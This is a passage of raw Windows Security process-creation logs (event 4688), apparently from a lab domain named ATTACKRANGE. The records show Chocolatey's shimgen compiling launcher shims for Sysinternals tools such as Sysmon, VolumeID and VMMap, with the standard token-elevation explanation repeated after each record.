Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246916
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa44
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xecc
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Sysmon.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123428_1299\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123428_1299\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123428_1299\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123428_1299\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123428_1299\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246915
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd68
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xecc
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246914
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xecc
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Sysmon.exe" --output="C:\ProgramData\chocolatey\bin\Sysmon.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Sysmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246913
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x57c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd08
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES1265.tmp" "c:\ProgramData\chocolatey\bin\CSCA6DADB57FB70481B87A749ED389B826C.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246957
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xee0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xec4
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246956
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xec4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf18
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Volumeid.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123429_9268\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123429_9268\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123429_9268\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123429_9268\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123429_9268\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246955
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa8
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf18
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246954
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf18
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Volumeid.exe" --output="C:\ProgramData\chocolatey\bin\Volumeid.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Volumeid.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246953
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x42c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf84
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES196A.tmp" "c:\ProgramData\chocolatey\bin\CSCEF8329A0BA16457EB8C96AB5E044676.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246952
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc64
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf84
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246951
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf84
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd2c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\vmmap64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123429_7080\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123429_7080\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123429_7080\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123429_7080\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123429_7080\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246950
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x618
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd2c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246949
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd2c
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\vmmap64.exe" --output="C:\ProgramData\chocolatey\bin\vmmap64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\vmmap64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246948
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa1c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc2c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES187F.tmp" "c:\ProgramData\chocolatey\bin\CSC78FCFEE2692A4712AF5A804DD7384DB1.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246947
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x468
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc2c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246946
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc2c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x360
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\vmmap.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123429_4736\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123429_4736\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123429_4736\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123429_4736\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123429_4736\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246945
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5a8
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x360
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

